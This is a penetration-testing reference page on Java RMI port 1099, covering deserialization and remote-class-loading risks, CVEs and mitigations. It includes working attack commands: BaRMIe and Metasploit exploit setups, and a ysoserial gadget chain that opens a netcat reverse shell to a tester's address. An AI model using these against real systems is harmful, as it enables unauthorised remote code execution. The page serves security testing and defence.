Port 1099 – Java RMI (Remote Method Invocation)

Port 1099 is the default port for the Java RMI registry (rmiregistry) — the naming service a Java application queries to look up remote objects and then invoke their methods across the network. RMI (Remote Method Invocation) is how one JVM calls methods on objects living in another JVM, and every argument, return value, and stub travels as a Java-serialized object stream. That serialization is the whole story: if the endpoint deserializes attacker-controlled data with a vulnerable gadget on its classpath, an open port 1099 becomes unauthenticated remote code execution. It is one of the most reliably exploitable services you can find on an internal Java estate.

Why It’s Open

RMI is baked into the JDK, so it turns up wherever Java middleware runs: application servers, message brokers, monitoring agents, ESBs, build servers, and countless in-house enterprise apps that expose a “management” or “admin” object over the network. Port 1099 is the IANA-registered default for rmiregistry, but the registry is only a phone book — it hands the client a stub pointing at the real remote object, which usually listens on an ephemeral high port chosen at startup. You will also frequently see JMX (Java Management Extensions) exposed over RMI here or on a nearby port, since the default JMX connector is built on RMI. Where 1099 answers, look for the sibling Java web tier too — often a Tomcat or app-server console on port 8080.

Common Risks

• Unauthenticated deserialization → RCE. RMI calls are Java-serialized end to end. RMI itself performs no authentication by default, so if any reachable gadget chain (Apache Commons Collections, Groovy, etc.) is on the classpath, a crafted object stream runs code as the service account. This is the headline risk and the reason RMI is a prized internal target.
• Insecure remote class loading (codebase RCE). Older or misconfigured JVMs run with java.rmi.server.useCodebaseOnly=false, letting a client tell the server to fetch and load a class from an attacker-controlled HTTP URL via the Distributed Garbage Collector (DGC). That is instant code execution with no gadget required.
• Registry introspection. An anonymous registry will happily list every bound object, its interface, and its endpoint — a map of the application’s remote attack surface, sometimes including method names that leak business logic.
• Insecure remote methods. Bound objects sometimes expose methods that take an Object parameter or perform sensitive actions (read a file, run a query) with no authorization check at all.
• Exposed JMX/MBean server. A JMX connector reachable over RMI with authentication disabled lets an attacker register a malicious MLet MBean and load code from a remote URL — a clean RCE path independent of application gadgets.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service and version

nmap -sV -p 1099 <target>

Dump the registry and probe for class-loading RCE

nmap -p 1099 --script rmi-dumpregistry,rmi-vuln-classloader <target>

rmi-dumpregistry lists every object bound in the registry with its class and endpoint; rmi-vuln-classloader checks whether the rmiregistry still allows remote class loading (the codebase RCE).

Enumerate and scan with remote-method-guesser (rmg)

# List bound names, endpoints and detected components
rmg enum <target> 1099

# Guess remote methods on a bound object from a wordlist
rmg guess <target> 1099

remote-method-guesser is the modern go-to: it enumerates bound objects, fingerprints the JEP 290 deserialization filter, flags codebase and localhost-bypass issues, and identifies JMX endpoints.

Enumerate and attack with BaRMIe

# Enumerate exposed RMI services
java -jar BaRMIe.jar -enum <target> 1099

# Launch known attacks (deserialization, insecure methods)
java -jar BaRMIe.jar -attack <target> 1099

Build a deserialization payload with ysoserial

# Generate a Commons-Collections gadget chain that runs a command
java -jar ysoserial.jar CommonsCollections5 'nc -e /bin/sh 10.10.14.5 4444' > payload.bin

ysoserial generates the serialized gadget chains you feed to a vulnerable RMI endpoint (rmg and BaRMIe can deliver them directly).

Metasploit — RMI insecure default configuration

msfconsole -q
use exploit/multi/misc/java_rmi_server
set RHOSTS <target>
set RPORT 1099
run

This abuses the default RMI registry/DGC to load a malicious class from a Metasploit-hosted HTTP server — unauthenticated RCE against a vulnerable configuration.

Metasploit — JMX MBean server (when JMX rides RMI)

use exploit/multi/misc/java_jmx_server
set RHOSTS <target>
run

Log every bound object, every version banner, and every shell you land as you go, so the evidence flows straight into the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

Treat RMI deserialization primarily as a technique, not a single CVE: any endpoint that deserializes attacker data with a usable gadget on its classpath is exploitable, and that is a property of the deployed application, not of a numbered flaw. The CVEs below are the JDK-level and product-level issues that are genuinely scoped to RMI on port 1099.

• CVE-2011-3556 — Java RMI DGC server remote code execution. The default configuration of the RMI Registry/Activation services lets a client invoke a Distributed Garbage Collector method to load a remote class over HTTP, giving unauthenticated RCE on the JVM running rmiregistry. Affects Oracle Java SE 7 / 6u27 and earlier and older builds. CVSS v2 7.5 (High). This is the flaw behind Metasploit’s exploit/multi/misc/java_rmi_server and Exploit-DB 17535.
• CVE-2011-3557 — Companion RMI registry flaw in the same Oracle Java SE advisory, allowing a remote RMI client to execute code with unrestricted privileges. CVSS v2 6.8 (Medium).
• CVE-2015-2342 — VMware vCenter Server JMX RMI service does not restrict MBean registration, so a remote attacker registers a malicious MBean and executes arbitrary code over the RMI protocol. CVSS v2 10.0 (High) — the canonical example of JMX-over-RMI RCE and the target of exploit/multi/misc/java_jmx_server.

Note: JBoss/WebLogic “RMI deserialization” write-ups often cite CVEs such as CVE-2017-12149 — but that specific flaw is the JBoss HTTP Invoker (deserialization over HTTP, typically port 8080/8083), not the RMI registry on 1099. It was removed from this page as out of scope; the underlying gadget-chain technique still applies wherever RMI deserializes untrusted input.

Mitigation

• Don’t expose 1099/RMI to untrusted networks. RMI is an internal management protocol; it should never face the internet, and ideally not a general user VLAN. Firewall TCP/1099 (and the ephemeral object port and any JMX port) to a management range.
• Turn off remote class loading. Set java.rmi.server.useCodebaseOnly=true (the modern default) and enforce a strict RMI security policy so the JVM can’t fetch classes from client-supplied URLs.
• Filter deserialization. Apply JEP 290 ObjectInputFilter allowlists so only expected classes deserialize, and keep gadget-bearing libraries (old Commons Collections, etc.) off the classpath or patched.
• Patch the JDK and the app. Run a current JDK and update the middleware — most weaponized RMI RCE targets an out-of-date runtime or a known-vulnerable product.
• Authenticate JMX and wrap it in TLS. Never run com.sun.management.jmxremote.authenticate=false; require credentials and enable SSL on the JMX/RMI connector.
• Prefer safer transports. Where remote management is genuinely needed, move to an authenticated, TLS-wrapped API rather than a bare RMI registry.

Real-World Example

The java_rmi_server technique is a staple of internal engagements precisely because it needs nothing but a reachable, default-configured registry. A tester scans a data-center subnet, finds port 1099 answering on an aging Java middleware host, and rmi-vuln-classloader reports the registry still allows remote class loading. Pointing Metasploit’s module at it, the DGC obligingly fetches a payload class from the tester’s HTTP server and executes it — a shell as the service account, with no credentials, in a single step. The JMX variant is just as common: VMware vCenter’s exposed JMX-over-RMI interface (CVE-2015-2342) let attackers register a malicious MBean for straight unauthenticated RCE, which is why an open JMX connector next to 1099 is always worth a closer look.

FAQ

What is port 1099 used for?

Port 1099 is the default port for the Java RMI registry (rmiregistry), the naming service that Java applications query to look up remote objects before invoking their methods. The registry itself only returns a stub; the actual remote object usually listens on a separate high port. JMX is also frequently exposed over RMI on or near this port.

Is port 1099 dangerous?

It can be very dangerous on an untrusted network. RMI performs no authentication by default and carries Java-serialized objects, so a vulnerable or default-configured endpoint can be turned into unauthenticated remote code execution through deserialization gadgets or remote class loading. Treat an exposed port 1099 as a high-priority finding.

What is Java RMI deserialization RCE?

Because RMI transmits method arguments as serialized Java objects, an endpoint that deserializes attacker-supplied data with a usable “gadget” chain (for example Apache Commons Collections) on its classpath can be made to execute arbitrary code. Tools like ysoserial generate the payloads and remote-method-guesser or BaRMIe deliver them.

How do I secure or close port 1099?

Firewall TCP/1099 to trusted management hosts, set java.rmi.server.useCodebaseOnly=true, apply a JEP 290 deserialization allowlist, patch the JDK and application, and require authentication plus TLS on any JMX connector. If nothing needs RMI, disable the registry and confirm the port is closed with a rescan.

TL;DR

• Service: Java RMI registry (rmiregistry), often with JMX exposed over RMI
• Default port: 1099/TCP (remote objects on ephemeral high ports)
• Biggest risk: unauthenticated deserialization RCE and insecure remote class loading
• Mitigation: firewall RMI, set useCodebaseOnly=true, JEP 290 filtering, patch the JDK, authenticate JMX over TLS